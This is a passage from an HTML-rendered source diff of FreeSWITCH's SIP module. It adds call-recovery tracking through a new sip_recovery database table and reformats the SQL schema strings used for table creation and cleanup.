+                tech_pvt-&gt;dest = switch_core_session_sprintf(session, &quot;sip:%s&quot;, switch_channel_get_variable(channel, &quot;sip_req_uri&quot;));
+                switch_channel_set_variable(channel, &quot;sip_invite_full_via&quot;, switch_channel_get_variable(channel, &quot;sip_full_via&quot;));
+
+                switch_channel_set_variable(channel, &quot;sip_handle_full_from&quot;, switch_channel_get_variable(channel, &quot;sip_full_from&quot;));
+                switch_channel_set_variable(channel, &quot;sip_handle_full_to&quot;, switch_channel_get_variable(channel, &quot;sip_full_to&quot;));
+        } else {
+
+
+                switch_channel_set_variable_printf(channel, &quot;sip_invite_route_uri&quot;, &quot;&lt;sip:%s@%s:%s;lr&gt;&quot;,
+                                                                                   switch_channel_get_variable(channel, &quot;sip_from_user&quot;),
+                                                                                   switch_channel_get_variable(channel, &quot;sip_network_ip&quot;), switch_channel_get_variable(channel, &quot;sip_network_port&quot;)
+                        );
+
+                tech_pvt-&gt;dest = switch_core_session_sprintf(session, &quot;sip:%s&quot;, switch_channel_get_variable(channel, &quot;sip_from_uri&quot;));
+
+                if (!switch_channel_get_variable_dup(channel, &quot;sip_handle_full_from&quot;, SWITCH_FALSE)) {
+                        switch_channel_set_variable(channel, &quot;sip_handle_full_from&quot;, switch_channel_get_variable(channel, &quot;sip_full_to&quot;));
+                }
+
+                if (!switch_channel_get_variable_dup(channel, &quot;sip_handle_full_to&quot;, SWITCH_FALSE)) {
+                        switch_channel_set_variable(channel, &quot;sip_handle_full_to&quot;, switch_channel_get_variable(channel, &quot;sip_full_from&quot;));
+                }
+        }
+
+        tech_pvt-&gt;dest_to = tech_pvt-&gt;dest;
+
+        sofia_glue_attach_private(session, h-&gt;profile, tech_pvt, NULL);
+        switch_channel_set_name(tech_pvt-&gt;channel, switch_channel_get_variable(channel, &quot;channel_name&quot;));
+
+
+        if ((tmp = switch_channel_get_variable(channel, &quot;sip_local_sdp_str&quot;))) {
+                tech_pvt-&gt;local_sdp_str = switch_core_session_strdup(session, tmp);
+        }
+
+        if ((tmp = switch_channel_get_variable(channel, &quot;switch_r_sdp&quot;))) {
+                tech_pvt-&gt;remote_sdp_str = switch_core_session_strdup(session, tmp);
+        }
+
+        switch_channel_set_variable(channel, &quot;sip_invite_call_id&quot;, switch_channel_get_variable(channel, &quot;sip_call_id&quot;));
+
+        if (switch_true(switch_channel_get_variable(channel, &quot;sip_nat_detected&quot;))) {
+                switch_channel_set_variable_printf(channel, &quot;sip_route_uri&quot;, &quot;sip:%s@%s:%s&quot;,
+                                                                                   switch_channel_get_variable(channel, &quot;sip_req_user&quot;),
+                                                                                   switch_channel_get_variable(channel, &quot;sip_network_ip&quot;), switch_channel_get_variable(channel, &quot;sip_network_port&quot;)
+                        );
+        }
+
+        if (session) {
+                switch_caller_extension_t *extension = NULL;
+                const char *ip = switch_channel_get_variable(channel, SWITCH_LOCAL_MEDIA_IP_VARIABLE);
+                const char *port = switch_channel_get_variable(channel, SWITCH_LOCAL_MEDIA_PORT_VARIABLE);
+                const char *r_ip = switch_channel_get_variable(channel, SWITCH_REMOTE_MEDIA_IP_VARIABLE);
+                const char *r_port = switch_channel_get_variable(channel, SWITCH_REMOTE_MEDIA_PORT_VARIABLE);
+
+                if (!switch_channel_test_flag(channel, CF_PROXY_MODE) &amp;&amp; ip &amp;&amp; port) {
+                        const char *tmp;
+                        tech_pvt-&gt;iananame = tech_pvt-&gt;rm_encoding = (char *) switch_channel_get_variable(channel, &quot;sip_use_codec_name&quot;);
+                        tech_pvt-&gt;rm_fmtp = (char *) switch_channel_get_variable(channel, &quot;sip_use_codec_fmtp&quot;);
+
+                        if ((tmp = switch_channel_get_variable(channel, &quot;sip_use_codec_rate&quot;))) {
+                                tech_pvt-&gt;rm_rate = atoi(tmp);
+                        }
+
+                        if ((tmp = switch_channel_get_variable(channel, &quot;sip_use_codec_ptime&quot;))) {
+                                tech_pvt-&gt;codec_ms = atoi(tmp);
+                        }
+
+                        if ((tmp = switch_channel_get_variable(channel, &quot;sip_use_pt&quot;))) {
+                                tech_pvt-&gt;agreed_pt = atoi(tmp);
+                        }
+
+                        sofia_glue_tech_set_codec(tech_pvt, 1);
+
+                        tech_pvt-&gt;adv_sdp_audio_ip = tech_pvt-&gt;extrtpip = (char *) ip;
+                        tech_pvt-&gt;adv_sdp_audio_port = tech_pvt-&gt;local_sdp_audio_port = atoi(port);
+                        tech_pvt-&gt;local_sdp_audio_ip = tech_pvt-&gt;profile-&gt;rtpip;
+
+                        if (r_ip &amp;&amp; r_port) {
+                                tech_pvt-&gt;remote_sdp_audio_ip = (char *) r_ip;
+                                tech_pvt-&gt;remote_sdp_audio_port = atoi(r_port);
+                        }
+                        
+                        if (switch_channel_test_flag(channel, CF_VIDEO)) {                                                                
+                                if ((tmp = switch_channel_get_variable(channel, &quot;sip_use_video_pt&quot;))) {
+                                        tech_pvt-&gt;video_pt = tech_pvt-&gt;video_agreed_pt = atoi(tmp);
+                                }
+                                
+
+                                tech_pvt-&gt;video_rm_encoding = (char *) switch_channel_get_variable(channel, &quot;sip_use_video_codec_name&quot;);
+                                tech_pvt-&gt;video_rm_fmtp = (char *) switch_channel_get_variable(channel, &quot;sip_use_video_codec_fmtp&quot;);
+
+                                ip = switch_channel_get_variable(channel, SWITCH_LOCAL_VIDEO_IP_VARIABLE);
+                                port = switch_channel_get_variable(channel, SWITCH_LOCAL_VIDEO_PORT_VARIABLE);
+                                r_ip = switch_channel_get_variable(channel, SWITCH_REMOTE_VIDEO_IP_VARIABLE);
+                                r_port = switch_channel_get_variable(channel, SWITCH_REMOTE_VIDEO_PORT_VARIABLE);
+                                
+                                sofia_set_flag(tech_pvt, TFLAG_VIDEO);
+
+                                if ((tmp = switch_channel_get_variable(channel, &quot;sip_use_video_codec_rate&quot;))) {
+                                        tech_pvt-&gt;video_rm_rate = atoi(tmp);
+                                }
+                                
+                                if ((tmp = switch_channel_get_variable(channel, &quot;sip_use_video_codec_ptime&quot;))) {
+                                        tech_pvt-&gt;video_codec_ms = atoi(tmp);
+                                }
+
+                                tech_pvt-&gt;adv_sdp_video_port = tech_pvt-&gt;local_sdp_video_port = atoi(port);
+                                
+                                if (r_ip &amp;&amp; r_port) {
+                                        tech_pvt-&gt;remote_sdp_video_ip = (char *) r_ip;
+                                        tech_pvt-&gt;remote_sdp_video_port = atoi(r_port);
+                                }
+
+                                //sofia_glue_tech_set_video_codec(tech_pvt, 1);
+                        }
+
+                        sofia_glue_set_local_sdp(tech_pvt, NULL, 0, NULL, 1);
+                        
+                        sofia_glue_activate_rtp(tech_pvt, 0);
+                }
+
+                sofia_set_flag(tech_pvt, TFLAG_RECOVERING);
+
+                if (switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE)) {
+                        sofia_set_flag(tech_pvt, TFLAG_RECOVERING_BRIDGE);
+                } else {
+                        switch_xml_t callflow, param, x_extension;
+                        if ((extension = switch_caller_extension_new(session, &quot;recovery&quot;, &quot;recovery&quot;)) == 0) {
+                                abort();
+                        }
+
+                        if ((callflow = switch_xml_child(xml, &quot;callflow&quot;)) &amp;&amp; (x_extension = switch_xml_child(callflow, &quot;extension&quot;))) {
+                                for (param = switch_xml_child(x_extension, &quot;application&quot;); param; param = param-&gt;next) {
+                                        const char *var = switch_xml_attr_soft(param, &quot;app_name&quot;);
+                                        const char *val = switch_xml_attr_soft(param, &quot;app_data&quot;);
+                                        switch_caller_extension_add_application(session, extension, var, val);
+                                }
+                        }
+                        
+                        switch_channel_set_caller_extension(channel, extension);
+                }
+
+                switch_channel_set_state(channel, CS_INIT);
+        }
+
+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, &quot;Resurrecting fallen channel %s\n&quot;, switch_channel_get_name(channel));
+
+        switch_core_session_thread_launch(session);
+        switch_xml_free(xml);
+
+        h-&gt;total++;
+
+        return 0;
+
+}
+
+int sofia_glue_recover(switch_bool_t flush)
+{
+        switch_hash_index_t *hi;
+        const void *var;
+        void *val;
+        sofia_profile_t *profile;
+        char *sql;
+        int r = 0;
+
+        switch_mutex_lock(mod_sofia_globals.hash_mutex);
+        if (mod_sofia_globals.profile_hash) {
+                for (hi = switch_hash_first(NULL, mod_sofia_globals.profile_hash); hi; hi = switch_hash_next(hi)) {
+                        switch_hash_this(hi, &amp;var, NULL, &amp;val);
+
+                        if ((profile = (sofia_profile_t *) val)) {
+                                struct recover_helper h = { 0 };
+                                h.profile = profile;
+                                h.total = 0;
+
+                                if (strcmp((char *) var, profile-&gt;name)) {
+                                        continue;
+                                }
+
+                                if (flush) {
+                                        sql = switch_mprintf(&quot;delete from sip_recovery where profile_name='%q'&quot;, profile-&gt;name);
+                                        sofia_glue_execute_sql_now(profile, &amp;sql, SWITCH_TRUE);
+                                } else {
+
+                                        sql = switch_mprintf(&quot;select profile_name, hostname, uuid, metadata &quot;
+                                                                                 &quot;from sip_recovery where runtime_uuid!='%q' and profile_name='%q'&quot;, switch_core_get_uuid(), profile-&gt;name);
+
+                                        sofia_glue_execute_sql_callback(profile, profile-&gt;ireg_mutex, sql, recover_callback, &amp;h);
+                                        r += h.total;
+                                        free(sql);
+                                        sql = NULL;
+
+                                        sql = switch_mprintf(&quot;select profile_name, hostname, uuid &quot;
+                                                                                 &quot;from sip_recovery where runtime_uuid!='%q' and profile_name='%q'&quot;, switch_core_get_uuid(), profile-&gt;name);
+
+                                        sofia_glue_execute_sql_callback(profile, profile-&gt;ireg_mutex, sql, rebridge_callback, NULL);
+                                        free(sql);
+                                        sql = NULL;
+
+                                        sql = switch_mprintf(&quot;delete &quot;
+                                                                                 &quot;from sip_recovery where runtime_uuid!='%q' and profile_name='%q'&quot;, switch_core_get_uuid(), profile-&gt;name);
+
+                                        sofia_glue_execute_sql_now(profile, &amp;sql, SWITCH_TRUE);
+                                }
+                        }
+                }
+        }
+        switch_mutex_unlock(mod_sofia_globals.hash_mutex);
+
+        return r;
+}
+
+void sofia_glue_tech_untrack(sofia_profile_t *profile, switch_core_session_t *session, switch_bool_t force)
+{
+        char *sql;
+        private_object_t *tech_pvt = (private_object_t *) switch_core_session_get_private(session);
+
+        if (!sofia_test_pflag(profile, PFLAG_TRACK_CALLS) || (sofia_test_flag(tech_pvt, TFLAG_RECOVERING))) {
+                return;
+        }
+
+        if (sofia_test_pflag(profile, PFLAG_TRACK_CALLS) &amp;&amp; (sofia_test_flag(tech_pvt, TFLAG_TRACKED) || force)) {
+
+                if (force) {
+                        sql = switch_mprintf(&quot;delete from sip_recovery where uuid='%q'&quot;, switch_core_session_get_uuid(session));
+
+                } else {
+                        sql = switch_mprintf(&quot;delete from sip_recovery where runtime_uuid='%q' and uuid='%q'&quot;,
+                                                                 switch_core_get_uuid(), switch_core_session_get_uuid(session));
+                }
+                sofia_glue_execute_sql_now(profile, &amp;sql, SWITCH_TRUE);
+                sofia_clear_flag(tech_pvt, TFLAG_TRACKED);
+        }
+}
+
+void sofia_glue_tech_track(sofia_profile_t *profile, switch_core_session_t *session)
+{
+        switch_event_t *event;
+        private_object_t *tech_pvt = (private_object_t *) switch_core_session_get_private(session);
+
+        if (!sofia_test_pflag(profile, PFLAG_TRACK_CALLS) || sofia_test_flag(tech_pvt, TFLAG_RECOVERING)) {
+                return;
+        }
+
+        if (sofia_test_flag(tech_pvt, TFLAG_TRACKED)) {
+                sofia_glue_tech_untrack(profile, session, SWITCH_TRUE);
+        }
+
+        if (switch_event_create(&amp;event, SWITCH_EVENT_CHANNEL_DATA) == SWITCH_STATUS_SUCCESS) {
+                switch_xml_t cdr = NULL;
+                char *xml_cdr_text = NULL;
+
+                if (switch_ivr_generate_xml_cdr(session, &amp;cdr) == SWITCH_STATUS_SUCCESS) {
+                        xml_cdr_text = switch_xml_toxml(cdr, SWITCH_FALSE);
+                        switch_xml_free(cdr);
+                }
+
+                if (xml_cdr_text) {
+                        char *sql;
+                        sql = switch_mprintf(&quot;insert into sip_recovery (runtime_uuid, profile_name, hostname, uuid, metadata) values ('%q','%q','%q','%q','%q')&quot;,
+                                                                 switch_core_get_uuid(), profile-&gt;name, mod_sofia_globals.hostname, switch_core_session_get_uuid(session), xml_cdr_text);
+
+                        sofia_glue_execute_sql_now(profile, &amp;sql, SWITCH_TRUE);
+                        free(xml_cdr_text);
+                        sofia_set_flag(tech_pvt, TFLAG_TRACKED);
+                }
+
+        }
+
+}
+
</ins><span class="cx"> int sofia_glue_init_sql(sofia_profile_t *profile)
</span><span class="cx"> {
</span><span class="cx">         char *test_sql = NULL;
</span><span class="lines">@@ -3858,20 +4293,21 @@
</span><span class="cx">                 &quot;   orig_hostname    VARCHAR(255)\n&quot;
</span><span class="cx">                 &quot;);\n&quot;;
</span><span class="cx"> 
</span><ins>+        char recovery_sql[] =
+                &quot;CREATE TABLE sip_recovery (\n&quot;
+                &quot;   runtime_uuid    VARCHAR(255),\n&quot;
+                &quot;   profile_name    VARCHAR(255),\n&quot; &quot;   hostname        VARCHAR(255),\n&quot; &quot;   uuid            VARCHAR(255),\n&quot; &quot;   metadata        text\n&quot; &quot;);\n&quot;;
</ins><span class="cx"> 
</span><span class="cx">         char pres_sql[] =
</span><span class="cx">                 &quot;CREATE TABLE sip_presence (\n&quot;
</span><span class="cx">                 &quot;   sip_user        VARCHAR(255),\n&quot;
</span><span class="cx">                 &quot;   sip_host        VARCHAR(255),\n&quot;
</span><span class="cx">                 &quot;   status          VARCHAR(255),\n&quot;
</span><del>-                &quot;   rpid            VARCHAR(255),\n&quot; 
-                &quot;   expires         INTEGER,\n&quot; 
-                &quot;   user_agent      VARCHAR(255),\n&quot; 
-                &quot;   profile_name    VARCHAR(255),\n&quot; 
-                &quot;   hostname        VARCHAR(255),\n&quot; 
-                &quot;   network_ip      VARCHAR(255),\n&quot; 
-                &quot;   network_port    VARCHAR(6)\n&quot; 
-                &quot;);\n&quot;;
</del><ins>+                &quot;   rpid            VARCHAR(255),\n&quot;
+                &quot;   expires         INTEGER,\n&quot;
+                &quot;   user_agent      VARCHAR(255),\n&quot;
+                &quot;   profile_name    VARCHAR(255),\n&quot;
+                &quot;   hostname        VARCHAR(255),\n&quot; &quot;   network_ip      VARCHAR(255),\n&quot; &quot;   network_port    VARCHAR(6)\n&quot; &quot;);\n&quot;;
</ins><span class="cx"> 
</span><span class="cx">         char dialog_sql[] =
</span><span class="cx">                 &quot;CREATE TABLE sip_dialogs (\n&quot;
</span><span class="lines">@@ -3883,18 +4319,15 @@
</span><span class="cx">                 &quot;   sip_from_host   VARCHAR(255),\n&quot;
</span><span class="cx">                 &quot;   contact_user    VARCHAR(255),\n&quot;
</span><span class="cx">                 &quot;   contact_host    VARCHAR(255),\n&quot;
</span><del>-                &quot;   state           VARCHAR(255),\n&quot; 
-                &quot;   direction       VARCHAR(255),\n&quot; 
-                &quot;   user_agent      VARCHAR(255),\n&quot; 
</del><ins>+                &quot;   state           VARCHAR(255),\n&quot;
+                &quot;   direction       VARCHAR(255),\n&quot;
+                &quot;   user_agent      VARCHAR(255),\n&quot;
</ins><span class="cx">                 &quot;   profile_name    VARCHAR(255),\n&quot;
</span><del>-        &quot;   hostname        VARCHAR(255),\n&quot;
-        &quot;   contact         VARCHAR(255),\n&quot;
-        &quot;   presence_id     VARCHAR(255),\n&quot;
-        &quot;   presence_data   VARCHAR(255),\n&quot;
-        &quot;   call_info       VARCHAR(255),\n&quot;
-        &quot;   call_info_state VARCHAR(255),\n&quot;
-        &quot;   expires         INTEGER default 0\n&quot;
-                &quot;);\n&quot;;
</del><ins>+                &quot;   hostname        VARCHAR(255),\n&quot;
+                &quot;   contact         VARCHAR(255),\n&quot;
+                &quot;   presence_id     VARCHAR(255),\n&quot;
+                &quot;   presence_data   VARCHAR(255),\n&quot;
+                &quot;   call_info       VARCHAR(255),\n&quot; &quot;   call_info_state VARCHAR(255),\n&quot; &quot;   expires         INTEGER default 0\n&quot; &quot;);\n&quot;;
</ins><span class="cx"> 
</span><span class="cx">         char sub_sql[] =
</span><span class="cx">                 &quot;CREATE TABLE sip_subscriptions (\n&quot;
</span><span class="lines">@@ -3909,45 +4342,32 @@
</span><span class="cx">                 &quot;   call_id         VARCHAR(255),\n&quot;
</span><span class="cx">                 &quot;   full_from       VARCHAR(255),\n&quot;
</span><span class="cx">                 &quot;   full_via        VARCHAR(255),\n&quot;
</span><del>-                &quot;   expires         INTEGER,\n&quot; 
-                &quot;   user_agent      VARCHAR(255),\n&quot; 
</del><ins>+                &quot;   expires         INTEGER,\n&quot;
+                &quot;   user_agent      VARCHAR(255),\n&quot;
</ins><span class="cx">                 &quot;   accept          VARCHAR(255),\n&quot;
</span><span class="cx">                 &quot;   profile_name    VARCHAR(255),\n&quot;
</span><del>-                &quot;   hostname        VARCHAR(255),\n&quot;
-                &quot;   network_port    VARCHAR(6),\n&quot;
-                &quot;   network_ip      VARCHAR(255)\n&quot;
-                &quot;);\n&quot;;
</del><ins>+                &quot;   hostname        VARCHAR(255),\n&quot; &quot;   network_port    VARCHAR(6),\n&quot; &quot;   network_ip      VARCHAR(255)\n&quot; &quot;);\n&quot;;
</ins><span class="cx"> 
</span><del>-        char auth_sql[] = 
-                &quot;CREATE TABLE sip_authentication (\n&quot; 
-                &quot;   nonce           VARCHAR(255),\n&quot; 
-                &quot;   expires         INTEGER,&quot; 
-                &quot;   profile_name    VARCHAR(255),\n&quot;
-                &quot;   hostname        VARCHAR(255),\n&quot;
-                &quot;   last_nc         INTEGER\n&quot;
-                &quot;);\n&quot;;
</del><ins>+        char auth_sql[] =
+                &quot;CREATE TABLE sip_authentication (\n&quot;
+                &quot;   nonce           VARCHAR(255),\n&quot;
+                &quot;   expires         INTEGER,&quot; &quot;   profile_name    VARCHAR(255),\n&quot; &quot;   hostname        VARCHAR(255),\n&quot; &quot;   last_nc         INTEGER\n&quot; &quot;);\n&quot;;
</ins><span class="cx"> 
</span><span class="cx">         /* should we move this glue to sofia_sla or keep it here where all db init happens? XXX MTK */
</span><del>-        char shared_appearance_sql[] = 
</del><ins>+        char shared_appearance_sql[] =
</ins><span class="cx">                 &quot;CREATE TABLE sip_shared_appearance_subscriptions (\n&quot;
</span><span class="cx">                 &quot;   subscriber        VARCHAR(255),\n&quot;
</span><span class="cx">                 &quot;   call_id           VARCHAR(255),\n&quot;
</span><span class="cx">                 &quot;   aor               VARCHAR(255),\n&quot;
</span><span class="cx">                 &quot;   profile_name      VARCHAR(255),\n&quot;
</span><del>-                &quot;   hostname          VARCHAR(255),\n&quot;
-                &quot;   contact_str       VARCHAR(255),\n&quot;
-                &quot;   network_ip        VARCHAR(255)\n&quot; 
-                &quot;);\n&quot;;
</del><ins>+                &quot;   hostname          VARCHAR(255),\n&quot; &quot;   contact_str       VARCHAR(255),\n&quot; &quot;   network_ip        VARCHAR(255)\n&quot; &quot;);\n&quot;;
</ins><span class="cx"> 
</span><del>-        char shared_appearance_dialogs_sql[] = 
</del><ins>+        char shared_appearance_dialogs_sql[] =
</ins><span class="cx">                 &quot;CREATE TABLE sip_shared_appearance_dialogs (\n&quot;
</span><span class="cx">                 &quot;   profile_name      VARCHAR(255),\n&quot;
</span><span class="cx">                 &quot;   hostname          VARCHAR(255),\n&quot;
</span><span class="cx">                 &quot;   contact_str       VARCHAR(255),\n&quot;
</span><del>-                &quot;   call_id           VARCHAR(255),\n&quot;
-                &quot;   network_ip        VARCHAR(255),\n&quot;
-                &quot;   expires           INTEGER\n&quot;
-                &quot;);\n&quot;;
</del><ins>+                &quot;   call_id           VARCHAR(255),\n&quot; &quot;   network_ip        VARCHAR(255),\n&quot; &quot;   expires           INTEGER\n&quot; &quot;);\n&quot;;
</ins><span class="cx"> 
</span><span class="cx">         if (switch_odbc_available() &amp;&amp; profile-&gt;odbc_dsn) {
</span><span class="cx">                 int x;
</span><span class="lines">@@ -3996,7 +4416,7 @@
</span><span class="cx">                         &quot;create index ssd_contact_str on sip_shared_appearance_dialogs (contact_str)&quot;,
</span><span class="cx">                         &quot;create index ssd_call_id on sip_shared_appearance_dialogs (call_id)&quot;,
</span><span class="cx">                         &quot;create index ssd_expires on sip_shared_appearance_dialogs (expires)&quot;,
</span><del>-                        NULL        
</del><ins>+                        NULL
</ins><span class="cx">                 };
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="lines">@@ -4009,9 +4429,9 @@
</span><span class="cx">                         switch_odbc_handle_destroy(&amp;odbc_dbh);
</span><span class="cx">                         return 0;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;Connected ODBC DSN: %s\n&quot;, profile-&gt;odbc_dsn);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 test_sql = switch_mprintf(&quot;delete from sip_registrations where (contact like '%%TCP%%' &quot;
</span><span class="cx">                                                                   &quot;or status like '%%TCP%%' or status like '%%TLS%%') and hostname='%q' &quot;
</span><span class="cx">                                                                   &quot;and network_ip like '%%' and network_port like '%%' and sip_username &quot;
</span><span class="lines">@@ -4025,7 +4445,6 @@
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-
</del><span class="cx">                 if (sofia_test_pflag(profile, PFLAG_SQL_IN_TRANS)) {
</span><span class="cx">                         char *test2 = switch_mprintf(&quot;%s;%s&quot;, test_sql, test_sql);
</span><span class="cx"> 
</span><span class="lines">@@ -4033,15 +4452,15 @@
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;GREAT SCOTT!!! Cannot execute batched statements!\n&quot;
</span><span class="cx">                                                                   &quot;If you are using mysql, make sure you are using MYODBC 3.51.18 or higher and enable FLAG_MULTI_STATEMENTS\n&quot;);
</span><span class="cx">                                 sofia_clear_pflag(profile, PFLAG_SQL_IN_TRANS);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                         }
</span><span class="cx">                         free(test2);
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-                free(test_sql);                
</del><ins>+                free(test_sql);
</ins><span class="cx"> 
</span><span class="cx"> 
</span><del>-                test_sql = switch_mprintf(&quot;delete from sip_subscriptions where hostname='%q' and network_ip like '%%' and network_port like '%%'&quot;, 
</del><ins>+                test_sql = switch_mprintf(&quot;delete from sip_subscriptions where hostname='%q' and network_ip like '%%' and network_port like '%%'&quot;,
</ins><span class="cx">                                                                   mod_sofia_globals.hostname);
</span><span class="cx"> 
</span><span class="cx">                 if (switch_odbc_handle_exec(odbc_dbh, test_sql, NULL, NULL) != SWITCH_ODBC_SUCCESS) {
</span><span class="lines">@@ -4050,7 +4469,7 @@
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 free(test_sql);
</span><del>-                test_sql = switch_mprintf(&quot;delete from sip_dialogs where hostname='%q' and expires &gt;= 0&quot;, mod_sofia_globals.hostname);
</del><ins>+                test_sql = switch_mprintf(&quot;delete from sip_dialogs where hostname='%q'&quot;, mod_sofia_globals.hostname);
</ins><span class="cx"> 
</span><span class="cx">                 if (switch_odbc_handle_exec(odbc_dbh, test_sql, NULL, NULL) != SWITCH_ODBC_SUCCESS) {
</span><span class="cx">                         switch_odbc_handle_exec(odbc_dbh, &quot;DROP TABLE sip_dialogs&quot;, NULL, NULL);
</span><span class="lines">@@ -4091,6 +4510,18 @@
</span><span class="cx">                 free(test_sql);
</span><span class="cx"> 
</span><span class="cx"> 
</span><ins>+
+                test_sql = switch_mprintf(&quot;select count(profile_name) from sip_recovery where hostname='%q'&quot;, mod_sofia_globals.hostname);
+
+                if (switch_odbc_handle_exec(odbc_dbh, test_sql, NULL, NULL) != SWITCH_ODBC_SUCCESS) {
+                        switch_odbc_handle_exec(odbc_dbh, &quot;DROP TABLE sip_recovery&quot;, NULL, NULL);
+                        switch_odbc_handle_exec(odbc_dbh, recovery_sql, NULL, NULL);
+                }
+
+                free(test_sql);
+
+
+
</ins><span class="cx">                 for (x = 0; indexes[x]; x++) {
</span><span class="cx">                         switch_odbc_handle_exec(odbc_dbh, indexes[x], NULL, NULL);
</span><span class="cx">                 }
</span><span class="lines">@@ -4113,12 +4544,12 @@
</span><span class="cx">                 switch_core_db_test_reactive(db, test_sql, &quot;DROP TABLE sip_registrations&quot;, reg_sql);
</span><span class="cx">                 free(test_sql);
</span><span class="cx"> 
</span><del>-                test_sql = switch_mprintf(&quot;delete from sip_subscriptions where hostname='%q' and network_ip like '%%' or network_port like '%%'&quot;, 
</del><ins>+                test_sql = switch_mprintf(&quot;delete from sip_subscriptions where hostname='%q' and network_ip like '%%' or network_port like '%%'&quot;,
</ins><span class="cx">                                                                   mod_sofia_globals.hostname);
</span><span class="cx">                 switch_core_db_test_reactive(db, test_sql, &quot;DROP TABLE sip_subscriptions&quot;, sub_sql);
</span><span class="cx">                 free(test_sql);
</span><span class="cx"> 
</span><del>-                test_sql = switch_mprintf(&quot;delete from sip_dialogs where hostname='%q' and expires &gt; 0&quot;, mod_sofia_globals.hostname);
</del><ins>+                test_sql = switch_mprintf(&quot;delete from sip_dialogs where hostname='%q'&quot;, mod_sofia_globals.hostname);
</ins><span class="cx">                 switch_core_db_test_reactive(db, test_sql, &quot;DROP TABLE sip_dialogs&quot;, dialog_sql);
</span><span class="cx">                 free(test_sql);
</span><span class="cx"> 
</span><span class="lines">@@ -4130,7 +4561,7 @@
</span><span class="cx">                 switch_core_db_test_reactive(db, test_sql, &quot;DROP TABLE sip_authentication&quot;, auth_sql);
</span><span class="cx">                 free(test_sql);
</span><span class="cx"> 
</span><del>-                
</del><ins>+
</ins><span class="cx">                 test_sql = switch_mprintf(&quot;delete from sip_shared_appearance_subscriptions where contact_str = '' or hostname='%q' and network_ip like '%%'&quot;,
</span><span class="cx">                                                                   mod_sofia_globals.hostname);
</span><span class="cx">                 switch_core_db_test_reactive(db, test_sql, &quot;DROP TABLE sip_shared_appearance_subscriptions&quot;, shared_appearance_sql);
</span><span class="lines">@@ -4139,31 +4570,29 @@
</span><span class="cx">                 test_sql = switch_mprintf(&quot;delete from sip_shared_appearance_dialogs where contact_str = '' or hostname='%q'&quot;, mod_sofia_globals.hostname);
</span><span class="cx">                 switch_core_db_test_reactive(db, test_sql, &quot;DROP TABLE sip_shared_appearance_dialogs&quot;, shared_appearance_dialogs_sql);
</span><span class="cx">                 free(test_sql);
</span><del>-                
-                switch_core_db_exec(db, &quot;create index if not exists ssa_hostname on sip_shared_appearance_subscriptions (hostname)&quot;, 
-                                                        NULL, NULL, NULL);
-                switch_core_db_exec(db, &quot;create index if not exists ssa_subscriber on sip_shared_appearance_subscriptions (subscriber)&quot;, 
-                                                        NULL, NULL, NULL);
-                switch_core_db_exec(db, &quot;create index if not exists ssa_profile_name on sip_shared_appearance_subscriptions (profile_name)&quot;, 
-                                                        NULL, NULL, NULL);
</del><ins>+
+
+                test_sql = switch_mprintf(&quot;select count(profile_name) from sip_recovery where hostname='%q'&quot;, mod_sofia_globals.hostname);
+
+                switch_core_db_test_reactive(db, test_sql, &quot;DROP TABLE sip_recovery&quot;, recovery_sql);
+                free(test_sql);
+
+
+                switch_core_db_exec(db, &quot;create index if not exists ssa_hostname on sip_shared_appearance_subscriptions (hostname)&quot;, NULL, NULL, NULL);
+                switch_core_db_exec(db, &quot;create index if not exists ssa_subscriber on sip_shared_appearance_subscriptions (subscriber)&quot;, NULL, NULL, NULL);
+                switch_core_db_exec(db, &quot;create index if not exists ssa_profile_name on sip_shared_appearance_subscriptions (profile_name)&quot;, NULL, NULL, NULL);
</ins><span class="cx">                 switch_core_db_exec(db, &quot;create index if not exists ssa_aor on sip_shared_appearance_subscriptions (aor)&quot;, NULL, NULL, NULL);
</span><del>-                
</del><span class="cx"> 
</span><del>-                switch_core_db_exec(db, &quot;create index if not exists ssd_profile_name on sip_shared_appearance_dialogs (profile_name)&quot;, 
-                                                        NULL, NULL, NULL);
-                switch_core_db_exec(db, &quot;create index if not exists ssd_hostname on sip_shared_appearance_dialogs (hostname)&quot;, 
-                                                        NULL, NULL, NULL);
-                switch_core_db_exec(db, &quot;create index if not exists ssd_network_ip on sip_shared_appearance_dialogs (network_ip)&quot;, 
-                                                        NULL, NULL, NULL);
-                switch_core_db_exec(db, &quot;create index if not exists ssd_contact_str on sip_shared_appearance_dialogs (contact_str)&quot;,  
-                                                        NULL, NULL, NULL);
-                switch_core_db_exec(db, &quot;create index if not exists ssd_call_id on sip_shared_appearance_dialogs (call_id)&quot;,  
-                                                        NULL, NULL, NULL);
-                switch_core_db_exec(db, &quot;create index if not exists ssd_expires on sip_shared_appearance_dialogs (expires)&quot;, 
-                                                        NULL, NULL, NULL);
-                
</del><span class="cx"> 
</span><ins>+                switch_core_db_exec(db, &quot;create index if not exists ssd_profile_name on sip_shared_appearance_dialogs (profile_name)&quot;, NULL, NULL, NULL);
+                switch_core_db_exec(db, &quot;create index if not exists ssd_hostname on sip_shared_appearance_dialogs (hostname)&quot;, NULL, NULL, NULL);
+                switch_core_db_exec(db, &quot;create index if not exists ssd_network_ip on sip_shared_appearance_dialogs (network_ip)&quot;, NULL, NULL, NULL);
+                switch_core_db_exec(db, &quot;create index if not exists ssd_contact_str on sip_shared_appearance_dialogs (contact_str)&quot;, NULL, NULL, NULL);
+                switch_core_db_exec(db, &quot;create index if not exists ssd_call_id on sip_shared_appearance_dialogs (call_id)&quot;, NULL, NULL, NULL);
+                switch_core_db_exec(db, &quot;create index if not exists ssd_expires on sip_shared_appearance_dialogs (expires)&quot;, NULL, NULL, NULL);
</ins><span class="cx"> 
</span><ins>+
+
</ins><span class="cx">                 switch_core_db_exec(db, &quot;create index if not exists sr_call_id on sip_registrations (call_id)&quot;, NULL, NULL, NULL);
